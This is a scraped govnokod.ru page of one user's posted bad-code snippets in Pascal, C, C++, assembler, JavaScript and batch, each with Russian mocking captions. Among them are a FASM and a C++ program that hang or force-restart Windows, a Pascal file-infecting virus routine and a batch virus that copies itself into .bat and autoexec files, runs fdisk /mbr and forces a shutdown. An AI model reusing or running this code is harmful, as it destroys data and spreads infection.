1. Список говнокодов пользователя gost

    Всего: 246

  2. Pascal / Говнокод #15577

    +96

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    {$APPTYPE CONSOLE}
    uses SysUtils;
    function Add(const x: Integer; i: Integer): Integer; overload;
      begin
        Result := x + i
      end;
    
    function Add(const x: PChar; i: Integer): PChar; overload;
      var
        x1: Integer absolute x;
      begin
        Integer(Result) := x1 + i
      end;
    
    
    const s: PChar = 'KoKoKoBormondos';
    begin
      Writeln (StrLen(Add(s, 5)))
    end.

    http://govnokod.ru/15510#comment221692

    gost, 26 Марта 2014

    Комментарии (12)
  3. Си / Говнокод #15576

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    FRebuildSubdocPlcpcd(pdsr, ddsr, edcDrp)
    struct DSR *pdsr;
    int ddsr;
    int edcDrp;
    {
    /* we pull some tricks here because the normal editing situation doesn't cover
    	what we're trying to do:
    		1. We don't disturb the old chEop at the end of the subdoc until after
    			we have replaced the old pieces with the new one; then we delete it
    			surgically (we know it has either a different fn or noncontiguous
    			fc from the new stuff -- so just subtract ccpEop from cpMac and
    			remove the last pcd entry)
    		2. The plcfnd/plchdd needn't take part in the editing, since the CP
    			bounds will be the same after as they were before, and in fact
    			AdjustCp doesn't know how to handle editing the subdoc data -- so
    			we hide the plc from the editing
    */
    	int doc = pdsr->doc;
    	int docSubdoc;
    	int ipcd;
    	CP ccpSubdoc;
    
    	struct DOD *pdod;
    	struct PLC **hplcfnd;
    	struct PLC **hplcfld;
    	struct DRP *pdrp;
    	struct CA ca1, ca2;
    	struct PLC **hplcpcd, **hplcpcdSub;
    	CP *pccpSubdoc;
    	struct PCD pcd;
    
    	/*  momentarily break link to subdoc doc in dod so that ReplaceCps
    		doesn't get confused. */
    	pdrp = ((int *)PdodDoc(doc)) + edcDrp;
    	docSubdoc = pdrp->doc;
    	pccpSubdoc = ((int *)pdsr) + ddsr;
    	ccpSubdoc = *pccpSubdoc;
    	pdrp->doc = docNil;
    
    	if (docSubdoc != docNil && ccpSubdoc != cp0)
    		{
    		/* hide the subdoc plcfnd */
    		pdod = PdodDoc(docSubdoc);
    		hplcfnd = pdod->hplcfnd;
    		hplcfld = pdod->hplcfld;
    		pdod->hplcfnd = hNil;
    		pdod->hplcfld = hNil;
    
    		/* replace original piece table for subdoc with new --
    			note that we leave the chEop at end temporarily */
    		ccpSubdoc -= ccpEop;
    		if (!FReplaceCps(PcaSet(&ca1, docSubdoc, cp0, ccpSubdoc),
    				PcaSet(&ca2, doc, pdsr->ccpText, pdsr->ccpText + ccpSubdoc)))
    			return fFalse; 
    
    		/* now replace the PCD for the chEop left over from olden times;
    		   unfortunately, the editing routines can't do this for us */
    		hplcpcd = PdodDoc(doc)->hplcpcd;
    		if ((ipcd = IpcdSplit(hplcpcd, pdsr->ccpText + ccpSubdoc)) == iNil)
    			return fFalse;
    		GetPlc(hplcpcd, ipcd, &pcd);
    		hplcpcdSub = PdodDoc(docSubdoc)->hplcpcd;
    		PutPlc(hplcpcdSub, IMacPlc(hplcpcdSub) - 1, &pcd);
    		if ((ipcd = IpcdSplit(hplcpcdSub, ccpSubdoc+ccpEop)) == iNil)
    			return fFalse;
    		PutPlc(hplcpcdSub, ipcd-1, &pcd);
    
    		/* eliminate the footnote/header text from the main doc */
    		ca2.cpLim += ccpEop;
    		if (!FDelete(&ca2))
    			return fFalse;
    		pdod = PdodDoc(docSubdoc);
    
    		/* restore plcfnd */
    		pdod->hplcfnd = hplcfnd;
    		pdod->hplcfld = hplcfld;
    		pdod->fDirty = fFalse;
    
    		TruncateAllSels(docSubdoc, pdod->cpMac);
    		}
    
    	/* restore docFtn/docHdr */
    	pdrp = ((int *)PdodDoc(doc)) + edcDrp;
    	pdrp->doc = docSubdoc;
    
    	return fTrue;
    }

    Word for Windows 1.1a. 17 мегабайт отборного говнокода.

    http://habrahabr.ru/post/217081/

    gost, 26 Марта 2014

    Комментарии (7)
  4. Assembler / Говнокод #15575

    +132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    format PE GUI
    entry start
    
    section '.text' code readable executable
    
      start:
            push    0
            push    0
            push    0x0102
            push    0xffff
            call    [PostMessageA]
    
            jmp start
    
            push    0
            call    [ExitProcess]
    
    section '.data' data readable writeable
    
    section '.idata' import data readable writeable
    
      dd 0,0,0,RVA kernel_name,RVA kernel_table
      dd 0,0,0,RVA user_name,RVA user_table
      dd 0,0,0,0,0
    
      kernel_table:
        ExitProcess dd RVA _ExitProcess
        dd 0
      user_table:
        PostMessageA dd RVA _PostMessageA
        dd 0
    
      kernel_name db 'KERNEL32.DLL',0
      user_name db 'USER32.DLL',0
    
      _ExitProcess dw 0
        db 'ExitProcess',0
    
      _PostMessageA dw 0
        db 'PostMessageA',0
    
    section '.reloc' fixups data readable discardable       ; needed for Win32s

    А вот таким нехитрым кодом на FASM'e мы намертво вешаем всю винду до перезагрузки или выхода из системы (по ctrl+alt+del). Ну и, опять-таки, кладем большой и толстый на UAC.

    gost, 25 Марта 2014

    Комментарии (29)
  5. C++ / Говнокод #15574

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #include <Windows.h>
    
    int main(int argc, char* argv[])
    {
    	PostMessageA(HWND_BROADCAST, WM_CLOSE, 0, 0);       // Противник оглушен!
    	PostMessageA(HWND_BROADCAST, WM_DESTROY, 0, 0);  // Finish him!
    	PostMessageA(HWND_BROADCAST, WM_QUIT, 0, 0);         // FATALITY!!!
    
    	return 0;
    }

    Вот так, легко и непринужденно, мы заставляем ОС Windows перезагрузиться с потерей всех несохраненных данных, попутно кладя большой и толстый на UAC.

    gost, 25 Марта 2014

    Комментарии (31)
  6. C++ / Говнокод #15573

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    #include "iostream"
    using namespace std;
    void main ()
    {
    setlocale(LC_ALL,"Russian"); //Поддержка киррилицы
    
    float A1,A2,A3,A4,A5;  
    int N;
    int i;
    cout<<"Введите количество выступлений"<<endl;
    cin>>N;   //Вводим кол-во выступлений
    for(i=0;i<N;i++)  //Вводим массив
    {cout<<"Введите оценки за выступление"<<endl;
    cout<<"Введите оценку 1"<<endl;
    cin>>A1;
    cout<<"Введите оценку 2"<<endl;
    cin>>A2;
    cout<<"Введите оценку 3"<<endl;
    cin>>A3;
    cout<<"Введите оценку 4"<<endl;
    cin>>A4;
    cout<<"Введите оценку 5"<<endl;
    cin>>A5;
    
    if(A1>A2&&A1>A3&&A1>A4&&A1>A5) {cout<<A1;}  
    else if (A2>A1&&A2>A3&&A2>A4&&A2>A5) {cout<<"Максимальная оценка = "<<A2<<endl; }
    else if (A3>A1&&A3>A2&&A3>A4&&A3>A5) {cout<<"Максимальная оценка = "<<A3<<endl; }
    else if (A4>A1&&A4>A2&&A4>A3&&A4>A5) {cout<<"Максимальная оценка = "<<A4<<endl; }
    else if (A5>A1&&A5>A2&&A5>A3&&A5>A4) {cout<<"Максимальная оценка = "<<A5<<endl; }
    
    }
    }

    ЗАДАЧА
    Пожалуйста помогите составить для задачи на с++
    Я решаю задачи, но блок схемы строить не могу

    С ответов Гугла.
    http://otvety.google.ru/otvety/thread?tid=5bd43c242dce51f8

    gost, 25 Марта 2014

    Комментарии (9)
  7. Си / Говнокод #15572

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    #ifndef _AVRECORD_H__INCLUDED_
    #define _AVRECORD_H__INCLUDED_
    #include 
    
    //! Структура сигнатуры
    typedef struct SAVSignature{
    SAVSignature(){
    this->Offset = 0;
    this->Lenght = 0;
    memset(this->Hash, 0, sizeof(this->Hash));
    }
    DWORD Offset; // - Смещение файле
    DWORD Hash[4]; // - MD5 хэш
    DWORD Lenght; // - Размер данных
    } * PSAVSignature;
    
    //! Структура записи о зловреде
    typedef struct SAVRecord{
    SAVRecord(){
    this->Name = NULL;
    this->NameLen = 0;
    }
    ~SAVRecord(){
    if(this->Name != NULL) this->Name;
    }
    //! Выделение памяти под имя
    void allocName(BYTE NameLen){
    if(this->Name == NULL){
    this->NameLen = NameLen;
    this->Name = new CHAR[this->NameLen + 1];
    memset(this->Name, 0, this->NameLen + 1);
    }
    }
    PSTR Name; // - Имя
    BYTE NameLen; // - Размер имени
    SAVSignature Signature; // - Сигнатура
    
    } * PSAVRecord;
    
    #endif

    Пишем антивирус на аццкой помеси Си, ООП-стайла, говнокода и синтаксических ошибок.
    http://hack-academy.ru/programming/system/361-pishem-svoj-antivirus-na-c.html

    gost, 25 Марта 2014

    Комментарии (25)
  8. JavaScript / Говнокод #15559

    +155

    1. 1
    2. 2
    if(rradiocheck.test(elem.type)&&!jQuery.support.checkOn){return elem.getAttribute("value")===null?"on":elem.value;}
    return(elem.value||"").replace(rreturn,"");}

    http://govnokod.ru/media/ddd20ce56acf1d9ebadd126322495087.js
    Говно так и льется.

    gost, 23 Марта 2014

    Комментарии (20)
  9. Pascal / Говнокод #15558

    +86

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    function RealToStr(X: Real; Count: Integer): String;//Count - количество цифр после запятой
    var S: String;
        N: Integer;
    begin
      S:=FloatToStr(X); //после запятой - длинная последовательность цифр
    //DecimalSeparator - константа, содержащая истинный разделитель целой и дробной частей числа
     N:=Pos(DecimalSeparator, S); //позиция запятой в строке
    //вычисляем длину строки с нужным количеством знаков после запятой:
      if N=0//если в строке нет запятой - это целое число, и
        then N:=Length(S)//тогда просто выводим это число
        else N:=N+Count;//иначе вычисляем длину строки
      Result:=Copy(S, 1, N);//копируем часть строки в результат
    end;

    Говно на говне сидит и говном погоняет.
    http://www.delphi-manual.ru/work-with-strings.php

    gost, 23 Марта 2014

    Комментарии (13)
  10. Pascal / Говнокод #15557

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    procedure infect(victim:string);
    var
    a:integer;
    
    Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;

    Ксакеп, нуфф сказал.
    http://www.xakep.ru/post/23374/

    gost, 23 Марта 2014

    Комментарии (118)
  11. Куча / Говнокод #15554

    +124

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    @echo off
    title %0
    rem conditional check.
    echo welcome to this wonderful program! please wait while I delete all your files!
    rem infection of the user
    copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
    echo echo virus detected! >>c:\windows\system32\autoexec.NT
    echo pause >>c:\windows\system32\autoexec.NT
    echo NT core:infected!
    echo echo shame on you! >>c:\autoexec.bat
    echo echo system hault-virus identified! >>c:\autoexec.bat
    echo chkdsk >>c:\autoexec.bat
    echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
    fdisk /mbr
    shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″

    Нужно БОЛЬШЕ нулей в адресе!
    http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81

    gost, 22 Марта 2014

    Комментарии (8)